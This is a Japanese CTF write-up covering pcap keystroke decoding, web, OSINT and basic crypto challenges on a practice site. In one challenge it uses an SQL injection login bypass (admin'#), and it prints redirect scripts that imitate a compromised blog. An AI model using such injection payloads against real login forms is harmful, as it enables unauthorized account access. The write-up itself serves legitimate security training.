以前別のCTFで同じ問題を解いたときに使ったスクリプトが残っていたので以下に置いておく。

WireSharkでpcapを読んで、テキストファイルとしてパケットを保存する。テキストのデータ形式は次のようになる。

No.     Time           Source                Destination           Protocol Length Info
      1 0.000000       2.1.1                 host                  USB      35     URB_INTERRUPT in

Frame 1: 35 bytes on wire (280 bits), 35 bytes captured (280 bits)
USB URB
Leftover Capture Data: 0200000000000000

No.     Time           Source                Destination           Protocol Length Info
      2 0.000073       host                  2.1.1                 USB      27     URB_INTERRUPT in

Frame 2: 27 bytes on wire (216 bits), 27 bytes captured (216 bits)
USB URB

No.     Time           Source                Destination           Protocol Length Info
      3 0.143912       2.1.1                 host                  USB      35     URB_INTERRUPT in

Frame 3: 35 bytes on wire (280 bits), 35 bytes captured (280 bits)
USB URB
Leftover Capture Data: 0200120000000000

出力したテキストを次のJavaScriptで変換する。

          <form action="#">
            <fieldset>
              <label>入力</label>
              <p>
                <textarea cols="60" rows="10" name="inp"></textarea>
              </p>
            </fieldset>
            <p class="submit">
              <input type="button" name="btn" value="go" onclick="func1(this.form);return false;"/>
            </p>
            <fieldset>
              <label>出力</label>
              <p>
                <textarea cols="60" rows="10" name="oup"></textarea>
              </p>
            </fieldset>
          </form>
<script>

func1 = function(f) {
        
        var input_Ary = f.inp.value.split("\n");
        var outputA = [];
        var mode = 0;
        var past = 0;
        for(var i=0; i<input_Ary.length;i++) {
                if(input_Ary[i].substr(23,5)=="2.1.1")mode = 1;
                
                if(mode!=0 && input_Ary[i].match("Leftover Capture Data")) {
                        if(mode==1) {
                                outputA.push(input_Ary[i].substring(23,input_Ary[i].length));
                                past = 1;
                        }
                        mode = 0;
                }
        }
        
        
        f.oup.value = func2(f,outputA);
}


Array.prototype.del = function( p )
{
        return this.slice(0,p).concat(this.slice(p+1,this.length));
}

func2 = function(f,input_Ary) {
        
        var usb_codes = {
           0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
           0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
           0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
           0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
           0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
           0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
           0x2C:"  ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}",  0x32:"#~",
           0x33:";:", 0x34:"'\"",  0x36:",<",  0x37:".>", 0x4f:">", 0x50:"<",
           0x38:"/?"
           }
        
        var output = new Array();
        var opp = 0;
        var code;
        var unkonwn = "";
        
        for(var i=0; i<input_Ary.length;i++) {
                code = parseInt(input_Ary[i].substr(4,2),16);
                if(code==0)continue;
                console.log(code);
                if(code==0x28) {
                        output.push("[EN]");
                        opp++;
                        continue;
                }
                if(code==0x2b) {
                        output[opp++] = "[TAB]";
                        continue;
                }
                if(code==0x2a) {
                        output.del(opp);
                        opp--; //"[BS]";
                        continue;
                }
                if(code==0x50) {
                        opp--; //"←";
                        continue;
                }
                if(code==0x4f) {
                        opp++; //"→";
                        continue;
                }
                if(usb_codes[code]) {
                        if(parseInt(input_Ary[i].substr(0,2),16)==2)output[opp++] = usb_codes[code][1];
                        else output[opp++] = usb_codes[code][0];
                }else { 
                        output[opp++] = "*";
                        unkonwn += code.toString(16)+"\n";
                }
        }
        
        return output.join("")+"\n\n"+unkonwn;
}


</script>

変換結果は以下の通り。

One popular bbut unverified explanatioon for the QWERTY arrangement is that
it wwas designed to reduce the likelihood of flag{QWE_keyb0ard_RTY} internal
clashhing of typebars by placing commonly ussed combinatiioons of letters farther
froom each oher inside the machine.[EN]

flag{QWE_keyb0ard_RTY}

tkys_not_enough (Network:250)

せっかく内偵中の後輩から通信データが送られてきたのに。いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。後輩に聞こうにも通信データが送られた直後「やはり君だったか」という聞きなれない男の声を最後に連絡が途絶えてしまっています。あなたは何とかしてこの通信データを解析しなければなりません。

添付されたファイルを解析し、フラグを入手してください。

pcapファイルが配布されるが、WireSharckでは読むことができない。バイナリエディタを開くとHTTP通信が含まれており、これを直接読めば良さそうだが、body部分はgzipで圧縮されているため解凍することにした。

gzipのマジックナンバー 1f 8b を探してバイナリ列を見つける。

gzip圧縮データの抜粋

Pythonで圧縮バイナリ列を解凍するコードを書いた。

import gzip, StringIO
content = b'\x1F\x8B\x08\x00\x00\x00\x00\x00\x00\x03\x15\x89\x3B\x0E\xC3\x20\x0C\x86\x77\x4E\xF1\x6F\x5D\x3A\xA0\x5E\xA0\x73\x4E\x11\x59\xC4\x21\x08\x8C\x23\x70\x54\xA1\xAA\x77\x0F\xDD\xBE\xC7\xF2\x10\x44\x4D\x35\xC2\x14\x67\xA3\x60\x29\x30\x84\xF2\x3F\x69\x4B\x91\x24\x21\x34\xAA\xDC\xD1\x15\x76\x90\x61\x41\xA0\x8A\x5D\xCB\x36\x9D\x65\x52\xC3\xD0\x6B\x7E\x61\x6C\x34\x9E\xD0\x4C\xE3\xED\x9C\xDB\x0B\xC5\x6F\x65\xFB\xF8\x96\xD7\x7E\x70\x29\xEB\xCB\x7B\xFF\x9B\xEB\x06\x1B\x74\x7F\x32\x79\x00\x00\x00'
sf = StringIO.StringIO(content)
dec = gzip.GzipFile(fileobj=sf)
data = dec.read()
print(data)

結果。

I'm going to practice making origami cranes so that I can fold them for you some day, okay?


flag{netw0rk_shell_2000}


flag{netw0rk_shell_2000}

Body (Web:30)

作成中のサイトに機密情報が含まれてしまっているようです。サイトにアクセスして機密情報を見つけ出してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。
https://ctf.setodanote.net/web001/

Webページのソースコードを読むとコメントアウトされたflagが見つかる。

flag{Section_9}

puni_puni (Web:80)

近所の子供から「ぷにぷにこーどあげるね」と1枚の紙を手渡されました。見ると子供の字とは思えない正確な書体で英数字がびっしりと書き込まれています。これはいったい。そう聞こうとしましたが、紙に意識を取られた一瞬のうちにその子供はいなくなっていました。

紙に書かれた文字列を解析し、フラグを入手してください。フラグは得られた文字列を flag{} で囲んで答えてください。例えば flag が得られた場合は flag{flag} と入力します。

xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.

これは日本語ドメイン名のPunycode表記になっているので逆変換する。

変換後は以下の通り。

フラグは、さん、さん、ピー、ユー、エヌ、ワイ、シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、ひらがな表記は半角数字にしたものがフラグです
なお、読点は区切り文字なので取り除いてください

flag{33punycode44}

Mistake (Web:100)

作成中のサイトに不備があると外部から指摘を受けています。どうやら機密情報が漏れてしまっているようです。サイトにアクセスして機密情報を特定してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。
http://ctf.setodanote.net/web003/

Webページのソースコードを読むとWebserver directory index?とヒントが書かれている。images/にアクセスするとディレクトリ一覧を見ることができ、pic_flag_is_here.txtが見つかる。

flag{You_are_the_Laughing_Man,_aren't_you?}

tkys_royale (Web:120)

んー、このサイトには重大な脆弱性があります。そう切り出してきた相手の姿にあなたは言葉が出ません。それは音信不通となっていた後輩の生き写し。聞きたいことが山ほどありますが、まずはサイトの脆弱性を修正しなければなりません。サイトを解析し、脆弱性を特定してください。

以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web005/

ログインページにログインする問題。ソースコードを読むとテスト用ユーザーとしてuser:pass123という文字列があるのでこれでログインすると、adminでログインしろと言われる。

SQLインジェクションが有効で、ユーザー名にadmin'#を入力するとログインできる。

flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

Estimated (Web:120)

組織の関連サイトを監視している部署から「どうやら局長ブログで機密情報が漏洩しているようだ」と連絡が入りました。一部SNSで言及されているものの、幸いにしてまだ広まってはいないようです。なんとか穏便にすませたい上司に配慮し、被害を最小にすべくサイトを調査し漏洩している機密情報を特定してください。

以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web006/

ブログから漏洩した情報を見つける問題。

記事を削除した投稿

記事を探すと2021年6月3日に、昨日の記事を削除した旨の投稿が行われている。よって2021年6月2日に投稿された記事の残骸が残っていないか調べる。

このブログは画像をアップロードしていており、画像のURLはimages/20210724001b.jpgなどになっているので、6月2日のimages/20210602001b.jpgを見ると画像が残っている。

画像中に以下のようにflagが記載されているのが見える。

削除記事の画像の抜粋

flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}}

Mx.Flag (Web:150)

旗から手紙が届きました。

親愛なる貴方へ
こうして貴方に手紙を送るのは初めてですね。  
実はとてもうまく隠れることができたので、嬉しくなりこのような手紙を送ることにしました。  

どうか私を見つけてくれますか?

旗

以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web007/

Webページを開くと、web007/、style.css。、favicon.pngが読み込まれている。それぞれのコードを確認すると、facivon.pngの中身はアスキーデータになっている。

// flag{Mr_Flag_hiding_in_the_favicon}
console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});

flag{Mr_Flag_hiding_in_the_favicon}

Redirect (Web:150)

組織の関連サイトを監視している部署から「どうやら会長ブログが何らか侵害を受けてしまっているようだ」と連絡が入りました。再現方法が不明なものの、一部の訪問者から不審なサイトに飛ばされてしまうという指摘がされているようです。上司は休暇で不在ですが特に支障はありません。被害を最小にすべくサイトを調査し侵害状況を把握してください。

以下のサイトにアクセスしてフラグを見つけ出してください。
https://ctf.setodanote.net/web004/

Webページのソースを読むとページの一番下に特定の条件でジャンプするスクリプトが書かれている。

!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();

base64でエンコードされたジャンプ先をデコードするとhttps://ctf.setodanote.net/web004/bWFsa2l0.htmlになる。このままジャンプしてもリダイレクトされてしまうため、view-source:を付けるなどしてこのページのソースコードを読む。

https://ctf.setodanote.net/web004/bWFsa2l0.html
<!DOCTYPE HTML>
<html>
  <head>
    <title>start</title>
    <noscript>
      <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html">
    </noscript>
    <script>
      !function() {
        var params = new URL(window.location.href).searchParams;
        if(Array.from(params).length > 0){
          location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params;
        }else{
          location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200';
        }
      }();
    </script>
  </head>
  <body>
    <p>Find out the flag.</p>
  </body>
</html>

次のリダイレクト先を順番に辿っていく。

https://ctf.setodanote.net/web004/bm9mbGFn/
<html>
  <head>
    <title>Next</title>
    <noscript>
      <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html">
    </noscript>
    <script>
      !function() {
        var params = new URL(window.location.href).searchParams;
        location.href = 'https://ctf.setodanote.net/web004/bmV4dG5leHQ/?'+params
      }();
      </script>
  </head>
  <body>
  <p>No flag here. Go to next.</p>
  </body>
</html>
https://ctf.setodanote.net/web004/bmV4dG5leHQ/
<html>
  <head>
    <title>Next-Next</title>
    <noscript>
      <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html">
    </noscript>
    <script>
      !function() {
        var params = new URL(window.location.href).searchParams;
        location.href = 'https://ctf.setodanote.net/web004/b25lLXR3by10aHJlZQ/?'+params
      }();
      </script>
  </head>
  <body>
  <p>No flag here too. Go to next.</p>
  </body>
</html>
https://ctf.setodanote.net/web004/b25lLXR3by10aHJlZQ/
<html>
  <head>
    <title>Branching point</title>
    <noscript>
      <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html">
    </noscript>
    <script>
      !function() {
        var params = new URL(window.location.href).searchParams;
        if (params.get('callback') == 'getFlag') {
          location.href = 'https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?' + params;
        }else{
          location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?' + params;
        }
      }();
      </script>
  </head>
  <body>
  <p>You need the correct parameters to get the flag.</p>
  </body>
</html>
https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/
<html>
  <head>
    <title>GO!GO!GO!</title>
    <noscript>
      <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html">
    </noscript>
    <script>
      !function() {
        var params = new URL(window.location.href).searchParams;
        var callback = params.get('callback');
        var data1    = params.get('data1');
        var data2    = params.get('data2');
        var data3    = params.get('data3');
        var data4    = params.get('data4');
        if (callback == 'getFlag' && data1 == "2045" && data2 =="0907" && data3 == "BiancoRoja" && data4 =="1704067200") {
          location.href = 'https://noisy-king-d0da.setodanote.net/?'+params;
        }else{
          location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/hint.html?'+params;
        }
      }();
      </script>
  </head>
  <body>
  <p>Yes! Go to next.</p>
  </body>
</html>

最後に出てきた https://noisy-king-d0da.setodanote.net/ に、 callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200 の検索パラメータを与えるとflagを入手できる。

flag{Analyz1ng_Bad_Red1rects}

tkys_with_love (OSINT:30)

だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。

フラグは後輩がいるという乗り物の正式名称を flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。

コールサインC6DF6でGoogle検索すると幾つかのWebサイトで艦船が引っかかる。以下は一例。

idyllicoceanのヒットページ

flag{Symphony_of_the_Seas}

Dorks (OSINT:50)

あなたは組織が所有するドメインに関係するサイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。

Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。

例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。

login.phpを含むURLをGoogle検索するためにはinurlを使用する。

flag{inurl:login.php}

filters_op (OSINT:50)

Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。

例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります。

2017年5月15日にTwitter:@cas_niscがツイートした英字のハッシュタグを検索する問題。

Twitterで特定のアカウントのツイートを検索する際にはfrom:アカウントID、特定の日までのツイートを検索する際にはuntil:年-月-日を使用する。したがってfrom:cas_nisc until:2017-5-16で検索。

flag{#WannaCrypt}

MAC (OSINT:50)

友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。

上記の通り変換されるとき、以下の文字列はどうなるか。

flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}

暗号文を解きフラグを得てください。

MACアドレスに割り当てられたベンダー名を使った暗号の問題。MACアドレス検索( https://uic.jp/mac/ )に問題の2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4を入れるとそのまま一括検索してくれる。

MACアドレスの検索結果

ベンダー名の頭文字で置換すればflagになる。

flag{O_U_I_Y_A}

tkys_eys_only (OSINT:50)

送られてきたデータが端末に表示されます。後輩の活躍により、監視対象者が操作していた端末画面の取得に成功しました。映し出された画面はある組織の所在地に関する情報を含んでいます。画像を解析し、所在地に最も関係する組織名を特定してください。

添付されたファイルを解析し、所在地に最も関係する組織の名称を英語表記で答えてください。名称にスペースがある場合はアンダースコアに置換しフラグ形式で回答してください。

例えば組織名が International Criminal Police Organization だった場合は flag{International_Criminal_Police_Organization} となります。

ある場所の天候情報を表示するWebページのスクリーンショットが配布される。ページのアドレスバー部分に正確な緯度と経度が記載されている。

アドレスバーの緯度経度情報

Googleマップで緯度経度を入力して検索。

Googleマップの検索結果

国際連合事務局ビルであることがわかる。組織はUnited Nationsとなる。

flag{United_Nations}

MITRE (OSINT:100)

識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。

T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}

フラグに英字が含まれる場合はすべて大文字で答えてください。

T***はMITRE ATT&CKのTechniqueのIDになっている。

適当なWebサイトでT***の番号に該当するTechniqueのNameを参照して、その頭文字をとればflagになる。

flag{MITRE_ATTACK_MATLIX_THX}

Ropeway (OSINT:120)

休暇中の同僚から写真が送られてきました。あるロープウェイから撮られた写真とのこと。そしてもし写真から撮影場所が特定できたらいい地酒をお土産に買ってくれると言います。あなたは仕掛中の仕事を脇に置き、写真の解析を始めました。

添付されたファイルを解析し、ロープウェイ名称を英小文字のフラグ形式で答えてください。例えばロープウェイの名前が「瀬戸田ロープウェイ」の場合、フラグは flag{setoda} となります。

次の写真が配布される。

写真

写真の場所を特定してロープーウェイ名を答える問題。海か湖沿いで都市部ではないようなので、GoogleMapでロープーウェイを検索して近い条件の沿岸地域を探した。

浜名湖のかんざんじロープーウェイ

浜名湖のかんざんじロープーウェイを発見。

flag{kanzanji}

N-th_prime (OSINT:200)

電車の中で誰かの会話が聞こえてきます。

「巨大な素数の秘密を知っているか兄者」「知っているとも弟者。巨大な素数は秘密を守る要なのさ」「兄者、1番目の素数は?」「2 だ」「2番目の素数は?」「3 だ」「数え上げて 72057594037927936 番目の素数は?」「・・・」「兄者マテッ!ときに落ち着けって!」

数え上げて 72057594037927936 番目の素数をフラグ形式で答えてください。例えば 11 だった場合は flag{11} と答えてください。

72057594037927936番目の素数を見つける問題。OSINT問題なのでネット上に記載がないか調べていたが見つからず、素数定理で個数を絞り込んで見つける方法を検討した。素の素数定理では精度がよろしくないようで、primecount( https://github.com/kimwalisch/primecount )というツールがあることを教えてもらうに至って解いた。

primecountを使ってN以下の素数の個数を二分探索的に調べていく。

$ primecount 2991614170035123827 -s

=== pi_gourdon_64(x) ===
pi(x) = A - B + C + D + Phi0 + Sigma
x = 2991614170035123827
y = 23718720
z = 47437440
k = 8
x_star = 41588
alpha_y = 16.461
alpha_z = 2.000
threads = 12

=== Sigma(x, y) ===
Status: 100%                                      
Sigma = 1746938814657685
Seconds: 0.006

=== Phi0(x, y) ===
Status: 100%                                      
Phi0 = 20654642259296821
Seconds: 0.027

=== B(x, y) ===
Status: 100%                                      
B = 30106458154415279
Seconds: 3.508

=== AC(x, y) ===
Status: 100%                                      
A + C = 24735104044293170
Seconds: 5.976

=== D(x, y) ===
Status: 100%                                      
D = 55027367074095528
Seconds: 7.151

72057594037927925
Seconds: 16.668

絞り込みの末に2991614170035123827以下に72057594037927925個の素数が見つかったので、Wolfram Alpha( https://ja.wolframalpha.com/input/ )のNextPrime関数を使って11個先の素数を検索する。

NextPrime[2991614170035123827,11] => 2991614170035124397。2991614170035124397という素数が見つかるので、再度primecountでこれ以下の素数の個数を数えてみる。

$ primecount 2991614170035124397 -s

=== pi_gourdon_64(x) ===
pi(x) = A - B + C + D + Phi0 + Sigma
x = 2991614170035124397
y = 23718720
z = 47437440
k = 8
x_star = 41588
alpha_y = 16.461
alpha_z = 2.000
threads = 12

=== Sigma(x, y) ===
Status: 100%                                      
Sigma = 1746938814657685
Seconds: 0.006

=== Phi0(x, y) ===
Status: 100%                                      
Phi0 = 20654642259296811
Seconds: 0.022

=== B(x, y) ===
Status: 100%                                      
B = 30106458154415286
Seconds: 3.492

=== AC(x, y) ===
Status: 100%                                      
A + C = 24735104044293170
Seconds: 6.012

=== D(x, y) ===
Status: 100%                                      
D = 55027367074095556
Seconds: 7.359

72057594037927936
Seconds: 16.890

ぴったり72057594037927936個になったのでこの数が答えとなる。果たしてOSINTとは一体??

flag{2991614170035124397}

identify_the_source (OSINT:250)

組織はある攻撃者グループの動向を調査しています。あなたは旧知の情報提供者からその攻撃者グループが攻撃に利用しようとしているというファイルを入手することに成功しました。情報提供者はファイルの配布元URLの情報も持っているようですが、そちらの情報を入手するためには高額な対価が必要となりそうです。あなたが自由にできる予算は限られています。巧みな話術でどうやらあるマルウェア解析サイトから取得した情報であるようだというところまでは聞き出せました。組織はあなたに配布元URLを特定し、攻撃を未然に防ぐとともに攻撃者グループに関する重要な情報が含まれていないか調査するよう指示を出しました。

添付されたファイルを解析して関連する配布URLを特定、調査し、フラグを入手してください。

配布されたファイルの配布サイトを突き止める問題。まず配布ファイルtsuruのSHA256ハッシュ 64f10be20a97f7d25fd23d48e563cc391c54882c97d1c232832ea6beb61ca1da を主要なマルウェアデータベースで検索をかけると、Hybrid AnalyzeでURLを含む結果がヒットした。

Hybrid Analyzeの検索結果

検索結果にはURLとして hxxps://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/tsuru が記載されているため、これを確認すると404 Not Found。tsuruを除いた/のURLを開くとNO DATAと表示される。

hxxps://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/ ソースを見ると次の記述が見つかる。

<p deleteTime="1626307200">The flag is no longer here.</p>

deleteTimeの値はUNIX時間で、計算すると2021年07月15日になる。7月14日以前にはファイルが蔵置されていた可能性があるので、Webページのスナップショットを保存するサービスを探してみる。

Web魚拓などにも残っていたが、InternetArchivesに36個のキャプチャ'( https://web.archive.org/web/*/https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/ )が残っており、14日を中心に調べると16:21のキャプチャ( https://web.archive.org/web/20210714162101/https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/ )のソース中にflagが見つかる。

flag{No_one_cares_the_bomb_that_didn't_go_off}

secret_operation (OSINT:300)

あなたと同僚は敵対組織が秘密裏に進めているオペレーションの調査を命じられました。

「どうやら事を起こそうとしているようだ。」

調査開始からしばらく経った頃、同僚からある画像が届きました。それはかなり不鮮明だったものの、どこかの Web ページを写したと思われる画像データでした。詳細を確認しようと同僚と連絡をとろうとしましたが返信はなく、同僚からの連絡はそれを最後に途絶えてしまいました。画像の Web ページを調査し敵対組織が秘密裏に進めているオペレーションを明らかにしなければ。

添付されたファイルを解析し、フラグを得てください。

次の画像が配布される。

問題画像

https://greeen-pond-97ff.setodanote.netをブラウザで開いている画面で、IPアドレスからの所在地がロシアのSt Petersburgになっている。よって、St Petersburgのプロキシを通してこのページにアクセスしてみる。

St PeterburgのIPアドレスでのアクセス結果

Twitterアカウント( https://twitter.com/aarron142857 )とLink( https://billowing-poetry-3254.setodanote.net/ )を入手できる。Link先はユーザー名とパスワードの認証が必要で、Twitterアカウントからこれらの情報を入手できないか調べる。

最初に投稿された画像ツイート

最初に投稿されたツイートの画像のバイナリを調査すると、以下のようにPNG画像の内部にもう一つPNG画像が入れ子になって埋め込まれていることがわかった。

入れ子になったPNG画像のバイナリ

埋め込まれたPNG画像を抽出すると、以下のようにユーザー名とパスワードの情報が記載されている。

埋め込まれていた画像

CHECK MY BIOとはTwitterアカウントのbioのことだ。

TwitterアカウントのBIO

これでユーザー名:J.S パスワード:right_next_to_youであることがわかる。この認証情報を使って、引き続きSt Petersburgのプロキシを通してログインするとflagを入手できる。

ログイン成功画面

flag{=we_can_change_tomorrow=}

base64 (Crypto:50)

組織に入ったばかりの新人からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやら新人は暇なようです。

以下の文字列を解読して、フラグを獲得してください。

ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==

base64デコードするとflagになる。

flag{It's_called_base64!}

ROT13 (Crypto:50)

組織でも指折りの経験豊富なベテランからチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこのベテランも暇なようです。

以下の文字列を解読して、フラグを獲得してください。

synt{Rira_lbh_Oehghf?}

ROT13デコードするとflagになる。

flag{Even_you_Brutus?}

pui_pui (Crypto:80)

組織の局長からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこの組織には暇人しかいないようです。

以下の文字列を変換して、フラグを獲得してください。

\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a

バイトコードが与えられるので、例えばPythonでb"....."で囲んでprint。

A:Do you know Molcar?

B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.

A:... What?

B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.

flag{Have_you_ever_heard_of_Hexdump?}

tkys_secret_service (Crypto:120)

分担が一区切りし拠点に立ち寄っていた後輩から、あなたが3か月前に送ってきたチャットが結局なんだったのか解けないでいると話しかけられました。そういえば暇だったから意味もなく秘匿回線で内偵中の後輩に暗号文を送っていたことを思い出します。

以下の文字列を解析してフラグを入手してください。

Gur cevgrsgbvh vp Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV) ermbqrhg bh hvhprqreny 
mlmgrzm nhq vetnhbfngbvhm bm vp cnenzvahg bzcvegnhsr gv prqreny ntrhsbrm nhq snh qbersgyl 
bzcnsg gur nobybgl vp gur prqreny tvirehzrhg gv massrmmpayyl svhqasg bgm rmmrhgbny 
zbmmbvhm nhq pahsgbvhm. Gubm caoybsngbvh cevibqrm ntrhsbrm jbgu ersvzzrhqrq mrsaebgl 
erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp PHV jurh gur bhpvezngbvh bm ermbqrhg 
bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm; jurh gur hvhprqreny vetnhbfngbvh bm hvg svyyrsgbht 
ve znbhgnbhbht bhpvezngbvh vh orunyp vp n prqreny ntrhsl ve ambht ve vcrengbht n mlmgrz vh 
orunyp vp nh ntrhsl; nhq jurer gurer ner hv mcrsbpbs mnprtaneqbht erdaberzrhgm pve cevgrsgbht 
gur svhpbqrhgbnybgl vp Synt bm pynt{cabcab_sne_vp_zvy} PHV cermseborq ol gur naguvebfbht ynj, 
ertayngbvh, ve tvirehzrhgjbqr cvybsl pve gur PHV sngrtvel ybmgrq bh gur PHV Ertbmgel. 
Gur erdaberzrhgm nccyl gv nyy svzcvhrhgm vp hvhprqreny mlmgrzm nhq vetnhbfngbvhm gung cevsrmm, 
mgver, nhq/ve genhmzbg PHV, ve gung cevibqr cevgrsgbvh pve masu svzcvhrhgm. Gur mrsaebgl 
erdaberzrhgm ner bhgrhqrq pve amr ol prqreny ntrhsbrm bh svhgensgany irubsyrm ve vgure nterrzrhgm 
rmgnoybmurq orgjrrh guvmr ntrhsbrm nhq hvhprqreny vetnhbfngbvhm.

置換式暗号がかかった文章が与えられる。

手動で地道にやってもいいが、Substitution cipher decoder( https://planetcalc.com/8047/ )にかけるとkeyを解析してくれる。

The protection of Fontrolled Nnclassified Onformation (FNO) resident in nonfederal 
systems and organizations is of paramount importance to federal agencies and can directly 
impact the ability of the federal government to successfully conduct its essential 
missions and functions. This publication provides agencies with recommended security 
requirements for protecting the confidentiality of FNO when the information is resident 
in nonfederal systems and organizations; when the nonfederal organization is not collecting 
or maintaining information on behalf of a federal agency or using or operating a system on 
behalf of an agency; and where there are no specific safeguarding requirements for protecting 
the confidentiality of Clag is flag{puipui_car_of_mol} FNO prescribed by the authorizing law, 
regulation, or governmentwide policy for the FNO category listed in the FNO Registry. 
The requirements apply to all components of nonfederal systems and organizations that process, 
store, and/or transmit FNO, or that provide protection for such components. The security 
requirements are intended for use by federal agencies in contractual vehicles or other agreements 
established between those agencies and nonfederal organizations.

flag{puipui_car_of_mol}

lets_bake (Crypto:150)

